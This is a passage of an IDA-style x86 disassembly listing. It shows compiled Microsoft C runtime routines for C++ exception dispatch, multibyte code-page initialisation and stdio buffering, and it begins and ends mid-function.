		mov	esi, [eax+10h]
		mov	[ebp+var_14], ecx
		jle	short loc_41A975


loc_41A903:				; CODE XREF: sub_41A7EB+15Bj
		mov	ecx, [ebx+1Ch]
		mov	ecx, [ecx+0Ch]
		lea	edx, [ecx+4]
		mov	ecx, [ecx]
		test	ecx, ecx
		mov	[ebp+var_C], edx
		mov	[ebp+var_10], ecx
		jle	short loc_41A93C


loc_41A918:				; CODE XREF: sub_41A7EB+14Cj
		mov	eax, [ebp+var_C]
		mov	edi, [eax]
		push	dword ptr [ebx+1Ch]
		mov	[ebp+var_24], edi
		call	sub_41A204
		test	eax, eax
		pop	ecx
		jnz	short loc_41A94A
		dec	[ebp+var_10]
		add	[ebp+var_C], 4
		cmp	[ebp+var_10], eax
		jg	short loc_41A918
		mov	eax, [ebp+var_4]


loc_41A93C:				; CODE XREF: sub_41A7EB+12Bj
		dec	[ebp+var_14]
		add	esi, 10h
		cmp	[ebp+var_14], 0
		jg	short loc_41A903
		jmp	short loc_41A975
; ---------------------------------------------------------------------------


loc_41A94A:				; CODE XREF: sub_41A7EB+140j
		push	[ebp+var_1C]
		mov	edi, [ebp+var_4]
		push	[ebp+arg_1C]
		mov	ecx, [ebp+var_24]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		mov	ebx, esi
		mov	esi, [ebp+arg_4]
		call	sub_41A6C4
		mov	ebx, [ebp+arg_0]
		add	esp, 1Ch
		mov	eax, edi


loc_41A975:				; CODE XREF: sub_41A7EB+100j
					; sub_41A7EB+109j ...
		inc	[ebp+var_8]
		mov	ecx, [ebp+var_8]
		add	eax, 14h
		cmp	ecx, [ebp+var_20]
		mov	[ebp+var_4], eax
		jb	loc_41A8E6


loc_41A98A:				; CODE XREF: sub_41A7EB+F3j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A99A
		push	1
		push	ebx
		call	sub_41A33F
		pop	ecx
		pop	ecx


loc_41A99A:				; CODE XREF: sub_41A7EB+56j
					; sub_41A7EB+1A3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A99F:				; CODE XREF: sub_41A7EB+8Fj
		mov	ebx, [ebp+arg_0]


loc_41A9A2:				; CODE XREF: sub_41A7EB+31j
					; sub_41A7EB+B7j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A9C8
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A72B
		add	esp, 20h
		jmp	short loc_41A99A
; ---------------------------------------------------------------------------


loc_41A9C8:				; CODE XREF: sub_41A7EB+1BBj
		jmp	sub_41AA6F
sub_41A7EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9CD	proc near		; CODE XREF: .text:004156B6p
					; .text:004156E6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		mov	eax, [esi]
		push	edi
		and	eax, 1FFFFFFFh
		mov	edi, 19930520h
		cmp	eax, edi
		jz	short loc_41A9EA
		call	sub_41AAA4


loc_41A9EA:				; CODE XREF: sub_41A9CD+16j
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41AA12
		cmp	dword ptr [esi+4], 0
		jz	short loc_41AA68
		cmp	[ebp+arg_14], 0
		jnz	short loc_41AA68
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A271
		add	esp, 10h
		jmp	short loc_41AA68
; ---------------------------------------------------------------------------


loc_41AA12:				; CODE XREF: sub_41A9CD+24j
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41AA68
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41AA4C
		cmp	[eax+14h], edi
		jbe	short loc_41AA4C
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41AA4C
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41AA6B
; ---------------------------------------------------------------------------


loc_41AA4C:				; CODE XREF: sub_41A9CD+51j
					; sub_41A9CD+56j ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A7EB
		add	esp, 20h


loc_41AA68:				; CODE XREF: sub_41A9CD+2Aj
					; sub_41A9CD+30j ...
		xor	eax, eax
		inc	eax


loc_41AA6B:				; CODE XREF: sub_41A9CD+7Dj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A9CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA6F	proc near		; CODE XREF: sub_41A253+19j
					; .text:0041A37Fj ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041E3C5 SIZE 00000018 BYTES

		push	8
		push	offset stru_429550
		call	__SEH_prolog
		call	sub_416E15
		cmp	dword ptr [eax+6Ch], 0
		jz	short loc_41AA9F
		and	[ebp+ms_exc.disabled], 0
		call	sub_416E15
		call	dword ptr [eax+6Ch]
		jmp	short loc_41AA9B
; ---------------------------------------------------------------------------


loc_41AA94:				; DATA XREF: .rdata:stru_429550o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41AA98:				; DATA XREF: .rdata:stru_429550o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41AA9B:				; CODE XREF: sub_41AA6F+23j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41AA9F:				; CODE XREF: sub_41AA6F+15j
		jmp	loc_41E3C5
sub_41AA6F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAA4	proc near		; CODE XREF: sub_415760+23p
					; sub_415760:loc_4157CAp ...

ms_exc		= CPPEH_RECORD ptr -18h

		push	8
		push	offset stru_429560
		call	__SEH_prolog
		mov	eax, off_42DEB0
		test	eax, eax
		jz	short loc_41AACC
		and	[ebp+ms_exc.disabled], 0
		call	eax ; sub_41AA6F
		jmp	short loc_41AAC8
; ---------------------------------------------------------------------------


loc_41AAC1:				; DATA XREF: .rdata:stru_429560o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41AAC5:				; DATA XREF: .rdata:stru_429560o
		mov	esp, [ebp+ms_exc.old_esp]


loc_41AAC8:				; CODE XREF: sub_41AAA4+1Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh


loc_41AACC:				; CODE XREF: sub_41AAA4+13j
		jmp	sub_41AA6F
sub_41AAA4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAE0	proc near		; CODE XREF: sub_41586F+3Dp
					; sub_41A271+68p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_415A3D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB1F
		mov	ecx, 2


loc_41AB1F:				; CODE XREF: sub_41AAE0+38j
		push	ecx
		call	sub_415A3D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AAE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB2C	proc near		; CODE XREF: sub_415CAF+1Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C1CF
		test	eax, eax
		pop	ecx
		jz	short loc_41ABB0
		cmp	esi, offset dword_42D998
		jnz	short loc_41AB4A
		xor	eax, eax
		jmp	short loc_41AB55
; ---------------------------------------------------------------------------


loc_41AB4A:				; CODE XREF: sub_41AB2C+18j
		cmp	esi, offset dword_42D9B8
		jnz	short loc_41ABB0
		xor	eax, eax
		inc	eax


loc_41AB55:				; CODE XREF: sub_41AB2C+1Cj
		inc	dword_47C200
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41ABB0
		push	ebx
		push	edi
		lea	edi, ds:47C364h[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_41AB96
		push	ebx
		call	sub_414E7D
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41AB96
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41ABA3
; ---------------------------------------------------------------------------


loc_41AB96:				; CODE XREF: sub_41AB2C+48j
					; sub_41AB2C+55j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx


loc_41ABA3:				; CODE XREF: sub_41AB2C+68j
		or	word ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41ABB0:				; CODE XREF: sub_41AB2C+10j
					; sub_41AB2C+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41AB2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABB4	proc near		; CODE XREF: sub_415CAF+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_41ABDD
		push	esi
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41ABDC
		push	esi
		call	sub_417DD2
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx


loc_41ABDC:				; CODE XREF: sub_41ABB4+10j
		pop	esi

locret_41ABDD:				; CODE XREF: sub_41ABB4+5j
		retn
sub_41ABB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABDE	proc near		; CODE XREF: sub_41AE37+FFp
					; sub_41AE37+149p
		sub	eax, 3A4h
		jz	short loc_41AC07
		sub	eax, 4
		jz	short loc_41AC01
		sub	eax, 0Dh
		jz	short loc_41ABFB
		dec	eax
		jz	short loc_41ABF5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41ABF5:				; CODE XREF: sub_41ABDE+12j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41ABFB:				; CODE XREF: sub_41ABDE+Fj
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41AC01:				; CODE XREF: sub_41ABDE+Aj
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41AC07:				; CODE XREF: sub_41ABDE+5j
		mov	eax, 411h
		retn
sub_41ABDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC0D	proc near		; CODE XREF: sub_41AE37:loc_41AFACp
		push	edi
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47C740
		rep stosd
		stosb
		xor	eax, eax
		mov	dword_47C844, eax
		mov	dword_47C728, eax
		mov	dword_47C720, eax
		mov	edi, offset word_47C850
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41AC0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC36	proc near		; CODE XREF: sub_41AE37:loc_41AFB1p

var_518		= word ptr -518h
var_318		= byte ptr -318h
var_218		= byte ptr -218h
var_118		= byte ptr -118h
var_18		= byte ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 518h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	dword_47C844
		call	ds:dword_4201B0	; GetCPInfo
		cmp	eax, 1
		mov	esi, 100h
		jnz	loc_41AD76
		xor	eax, eax


loc_41AC6B:				; CODE XREF: sub_41AC36+3Fj
		mov	[ebp+eax+var_118], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41AC6B
		mov	al, [ebp+var_12]
		test	al, al
		mov	[ebp+var_118], 20h
		jz	short loc_41ACBB
		push	ebx
		lea	edx, [ebp+var_11]
		push	edi


loc_41AC8A:				; CODE XREF: sub_41AC36+81j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41ACB1
		sub	ecx, eax
		inc	ecx
		mov	ebx, ecx
		shr	ecx, 2
		lea	edi, [ebp+eax+var_118]
		mov	eax, 20202020h
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41ACB1:				; CODE XREF: sub_41AC36+5Cj
		inc	edx
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_41AC8A
		pop	edi
		pop	ebx


loc_41ACBB:				; CODE XREF: sub_41AC36+4Dj
		push	0
		push	dword_47C720
		lea	eax, [ebp+var_518]
		push	dword_47C844
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	1
		call	sub_41C5B0
		push	0
		push	dword_47C844
		lea	eax, [ebp+var_218]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	esi
		push	dword_47C720
		call	sub_419E09
		push	0
		push	dword_47C844
		lea	eax, [ebp+var_318]
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp+var_118]
		push	eax
		push	200h
		push	dword_47C720
		call	sub_419E09
		add	esp, 5Ch
		xor	eax, eax


loc_41AD30:				; CODE XREF: sub_41AC36+13Cj
		mov	cx, [ebp+eax*2+var_518]
		test	cl, 1
		jz	short loc_41AD53
		or	byte_47C741[eax], 10h
		mov	cl, [ebp+eax+var_218]


loc_41AD4B:				; CODE XREF: sub_41AC36+130j
		mov	byte_47C860[eax], cl
		jmp	short loc_41AD6F
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AC36+105j
		test	cl, 2
		jz	short loc_41AD68
		or	byte_47C741[eax], 20h
		mov	cl, [ebp+eax+var_318]
		jmp	short loc_41AD4B
; ---------------------------------------------------------------------------


loc_41AD68:				; CODE XREF: sub_41AC36+120j
		and	byte_47C860[eax], 0


loc_41AD6F:				; CODE XREF: sub_41AC36+11Bj
		inc	eax
		cmp	eax, esi
		jb	short loc_41AD30
		jmp	short loc_41ADBA
; ---------------------------------------------------------------------------


loc_41AD76:				; CODE XREF: sub_41AC36+2Dj
		xor	eax, eax


loc_41AD78:				; CODE XREF: sub_41AC36+182j
		cmp	eax, 41h
		jb	short loc_41AD96
		cmp	eax, 5Ah
		ja	short loc_41AD96
		or	byte_47C741[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41AD8E:				; CODE XREF: sub_41AC36+176j
		mov	byte_47C860[eax], cl
		jmp	short loc_41ADB5
; ---------------------------------------------------------------------------


loc_41AD96:				; CODE XREF: sub_41AC36+145j
					; sub_41AC36+14Aj
		cmp	eax, 61h
		jb	short loc_41ADAE
		cmp	eax, 7Ah
		ja	short loc_41ADAE
		or	byte_47C741[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41AD8E
; ---------------------------------------------------------------------------


loc_41ADAE:				; CODE XREF: sub_41AC36+163j
					; sub_41AC36+168j
		and	byte_47C860[eax], 0


loc_41ADB5:				; CODE XREF: sub_41AC36+15Ej
		inc	eax
		cmp	eax, esi
		jb	short loc_41AD78


loc_41ADBA:				; CODE XREF: sub_41AC36+13Ej
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_41A1F6
		leave
		retn
sub_41AC36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADC8	proc near		; CODE XREF: sub_41B13B+1Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_429570
		call	__SEH_prolog
		push	0Dh
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		call	sub_416E15
		mov	edi, eax
		mov	[ebp+var_1C], edi
		mov	esi, [edi+60h]
		mov	[ebp+var_20], esi
		cmp	esi, dword_47C724
		jz	short loc_41AE1A
		test	esi, esi
		jz	short loc_41AE07
		dec	dword ptr [esi]
		jnz	short loc_41AE07
		push	esi
		call	sub_414A14
		pop	ecx


loc_41AE07:				; CODE XREF: sub_41ADC8+32j
					; sub_41ADC8+36j
		mov	eax, dword_47C724
		mov	[edi+60h], eax
		mov	esi, dword_47C724
		mov	[ebp+var_20], esi
		inc	dword ptr [esi]


loc_41AE1A:				; CODE XREF: sub_41ADC8+2Ej
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41AE2E
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_41ADC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AE2B	proc near		; DATA XREF: .rdata:stru_429570o
		mov	esi, [ebp-20h]
sub_41AE2B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AE2E	proc near		; CODE XREF: sub_41ADC8+56p
		push	0Dh
		call	sub_4181F1
		pop	ecx
		retn
sub_41AE2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE37	proc near		; CODE XREF: sub_41AFCD+9Fp

var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp+var_4], eax
		push	edi
		jz	loc_41AFAC
		xor	edx, edx
		xor	eax, eax


loc_41AE5C:				; CODE XREF: sub_41AE37+36j
		cmp	dword_42DEC8[eax], esi
		jz	short loc_41AEC9
		add	eax, 30h
		inc	edx
		cmp	eax, 0F0h
		jb	short loc_41AE5C
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	ds:dword_4201B0	; GetCPInfo
		cmp	eax, 1
		jnz	loc_41AFA4
		push	40h
		xor	eax, eax
		cmp	[ebp+var_1C], 1
		pop	ecx
		mov	edi, offset byte_47C740
		rep stosd
		stosb
		mov	dword_47C844, esi
		mov	dword_47C720, ebx
		jbe	loc_41AF92
		cmp	[ebp+var_16], 0
		jz	loc_41AF6A
		lea	ecx, [ebp+var_15]


loc_41AEB3:				; CODE XREF: sub_41AE37+12Dj
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41AF6A
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl
		jmp	loc_41AF5A
; ---------------------------------------------------------------------------


loc_41AEC9:				; CODE XREF: sub_41AE37+2Bj
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_47C740
		rep stosd
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		mov	[ebp+var_8], ebx
		stosb
		lea	ebx, dword_42DED8[ecx]


loc_41AEE5:				; CODE XREF: sub_41AE37+EBj
		mov	al, [ebx]
		mov	esi, ebx
		jmp	short loc_41AF14
; ---------------------------------------------------------------------------


loc_41AEEB:				; CODE XREF: sub_41AE37+DFj
		mov	dl, [esi+1]
		test	dl, dl
		jz	short loc_41AF18
		movzx	eax, al
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41AF10
		mov	edx, [ebp+var_8]
		mov	dl, byte_42DEC0[edx]


loc_41AF05:				; CODE XREF: sub_41AE37+D7j
		or	byte_47C741[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41AF05


loc_41AF10:				; CODE XREF: sub_41AE37+C3j
		inc	esi
		inc	esi
		mov	al, [esi]


loc_41AF14:				; CODE XREF: sub_41AE37+B2j
		test	al, al
		jnz	short loc_41AEEB


loc_41AF18:				; CODE XREF: sub_41AE37+B9j
		inc	[ebp+var_8]
		add	ebx, 8
		cmp	[ebp+var_8], 4
		jb	short loc_41AEE5
		mov	eax, [ebp+arg_0]
		mov	dword_47C844, eax
		mov	dword_47C728, 1
		call	sub_41ABDE
		lea	ecx, dword_42DECC[ecx]
		mov	esi, ecx
		mov	edi, offset word_47C850
		movsd
		movsd
		mov	dword_47C720, eax
		movsd
		jmp	short loc_41AFB1
; ---------------------------------------------------------------------------


loc_41AF52:				; CODE XREF: sub_41AE37+125j
		or	byte_47C741[eax], 4
		inc	eax


loc_41AF5A:				; CODE XREF: sub_41AE37+8Dj
		cmp	eax, edx
		jbe	short loc_41AF52
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41AEB3


loc_41AF6A:				; CODE XREF: sub_41AE37+73j
					; sub_41AE37+80j
		xor	ecx, ecx
		inc	ecx
		mov	eax, ecx


loc_41AF6F:				; CODE XREF: sub_41AE37+145j
		or	byte_47C741[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41AF6F
		mov	eax, esi
		call	sub_41ABDE
		mov	dword_47C720, eax
		mov	dword_47C728, ecx
		jmp	short loc_41AF98
; ---------------------------------------------------------------------------


loc_41AF92:				; CODE XREF: sub_41AE37+69j
		mov	dword_47C728, ebx


loc_41AF98:				; CODE XREF: sub_41AE37+159j
		xor	eax, eax
		mov	edi, offset word_47C850
		stosd
		stosd
		stosd
		jmp	short loc_41AFB1
; ---------------------------------------------------------------------------


loc_41AFA4:				; CODE XREF: sub_41AE37+46j
		cmp	dword_47C36C, ebx
		jz	short loc_41AFBA


loc_41AFAC:				; CODE XREF: sub_41AE37+1Bj
		call	sub_41AC0D


loc_41AFB1:				; CODE XREF: sub_41AE37+119j
					; sub_41AE37+16Bj
		call	sub_41AC36
		xor	eax, eax
		jmp	short loc_41AFBD
; ---------------------------------------------------------------------------


loc_41AFBA:				; CODE XREF: sub_41AE37+173j
		or	eax, 0FFFFFFFFh


loc_41AFBD:				; CODE XREF: sub_41AE37+181j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_41AE37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AFCD	proc near		; CODE XREF: sub_41B11D+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	14h
		push	offset stru_429580
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		push	0Dh
		call	sub_418285
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		mov	dword_47C36C, edi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41B00A
		mov	dword_47C36C, 1
		call	ds:dword_4201AC	; GetOEMCP
		jmp	short loc_41B035
; ---------------------------------------------------------------------------


loc_41B00A:				; CODE XREF: sub_41AFCD+29j
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41B021
		mov	dword_47C36C, 1
		call	ds:dword_4201A8	; GetACP
		jmp	short loc_41B035
; ---------------------------------------------------------------------------


loc_41B021:				; CODE XREF: sub_41AFCD+40j
		cmp	eax, 0FFFFFFFCh
		jnz	short loc_41B035
		mov	dword_47C36C, 1
		mov	eax, dword_47C4D0


loc_41B035:				; CODE XREF: sub_41AFCD+3Bj
					; sub_41AFCD+52j ...
		mov	[ebp+arg_0], eax
		cmp	eax, dword_47C844
		jz	loc_41B0FF
		mov	esi, dword_47C724
		mov	[ebp+var_20], esi
		cmp	esi, edi
		jz	short loc_41B055
		cmp	[esi], edi
		jz	short loc_41B065


loc_41B055:				; CODE XREF: sub_41AFCD+82j
		push	220h
		call	sub_414E7D
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_20], esi


loc_41B065:				; CODE XREF: sub_41AFCD+86j
		cmp	esi, edi
		jz	short loc_41B0E8
		push	[ebp+arg_0]
		call	sub_41AE37
		pop	ecx
		mov	[ebp+var_1C], eax
		cmp	eax, edi
		jnz	short loc_41B0E8
		mov	[esi], edi
		mov	eax, dword_47C844
		mov	[esi+4], eax
		mov	eax, dword_47C728
		mov	[esi+8], eax
		mov	eax, dword_47C720
		mov	[esi+0Ch], eax
		xor	eax, eax


loc_41B095:				; CODE XREF: sub_41AFCD+DEj
		mov	[ebp+var_24], eax
		cmp	eax, 5
		jge	short loc_41B0AD
		mov	cx, word_47C850[eax*2]
		mov	[esi+eax*2+10h], cx
		inc	eax
		jmp	short loc_41B095
; ---------------------------------------------------------------------------


loc_41B0AD:				; CODE XREF: sub_41AFCD+CEj
		xor	eax, eax


loc_41B0AF:				; CODE XREF: sub_41AFCD+F7j
		mov	[ebp+var_24], eax
		cmp	eax, 101h
		jge	short loc_41B0C6
		mov	cl, byte_47C740[eax]
		mov	[eax+esi+1Ch], cl
		inc	eax
		jmp	short loc_41B0AF
; ---------------------------------------------------------------------------


loc_41B0C6:				; CODE XREF: sub_41AFCD+EAj
		xor	eax, eax


loc_41B0C8:				; CODE XREF: sub_41AFCD+113j
		mov	[ebp+var_24], eax
		cmp	eax, 100h
		jge	short loc_41B0E2
		mov	cl, byte_47C860[eax]
		mov	[eax+esi+11Dh],	cl
		inc	eax
		jmp	short loc_41B0C8
; ---------------------------------------------------------------------------


loc_41B0E2:				; CODE XREF: sub_41AFCD+103j
		mov	dword_47C724, esi


loc_41B0E8:				; CODE XREF: sub_41AFCD+9Aj
					; sub_41AFCD+AAj
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_41B102
		cmp	esi, dword_47C724
		jz	short loc_41B102
		push	esi
		call	sub_414A14
		pop	ecx
		jmp	short loc_41B102
; ---------------------------------------------------------------------------


loc_41B0FF:				; CODE XREF: sub_41AFCD+71j
		mov	[ebp+var_1C], edi


loc_41B102:				; CODE XREF: sub_41AFCD+11Fj
					; sub_41AFCD+127j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41B114
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
sub_41AFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B114	proc near		; CODE XREF: sub_41AFCD+139p
					; DATA XREF: .rdata:stru_429580o
		push	0Dh
		call	sub_4181F1
		pop	ecx
		retn
sub_41B114	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B11D	proc near		; CODE XREF: sub_41B8DD+9p
					; sub_41B946+Dp ...
		cmp	dword_47D9B4, 0
		jnz	short loc_41B138
		push	0FFFFFFFDh
		call	sub_41AFCD
		pop	ecx
		mov	dword_47D9B4, 1


loc_41B138:				; CODE XREF: sub_41B11D+7j
		xor	eax, eax
		retn
sub_41B11D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B13B	proc near		; CODE XREF: sub_415D0D+2Cp
					; sub_415D0D+A7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		call	sub_416E15
		mov	eax, [eax+60h]
		cmp	eax, dword_47C724
		jz	short loc_41B15A
		call	sub_41ADC8


loc_41B15A:				; CODE XREF: sub_41B13B+18j
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41B171
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_414670
		add	esp, 0Ch
		jmp	short loc_41B1B9
; ---------------------------------------------------------------------------


loc_41B171:				; CODE XREF: sub_41B13B+23j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41B1B6
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]


loc_41B17D:				; CODE XREF: sub_41B13B+89j
		mov	dl, [esi]
		movzx	ebx, dl
		dec	ecx
		test	byte ptr [ebx+eax+1Dh],	4
		mov	[edi], dl
		jz	short loc_41B1BC
		inc	edi
		inc	esi
		test	ecx, ecx
		jz	short loc_41B1C8
		mov	dl, [esi]
		dec	ecx
		mov	[edi], dl
		inc	edi
		inc	esi
		test	dl, dl
		jnz	short loc_41B1C2
		and	[edi-2], dl


loc_41B1A0:				; CODE XREF: sub_41B13B+85j
		test	ecx, ecx
		jz	short loc_41B1B4
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41B1B4:				; CODE XREF: sub_41B13B+67j
					; sub_41B13B+8Bj ...
		pop	esi
		pop	ebx


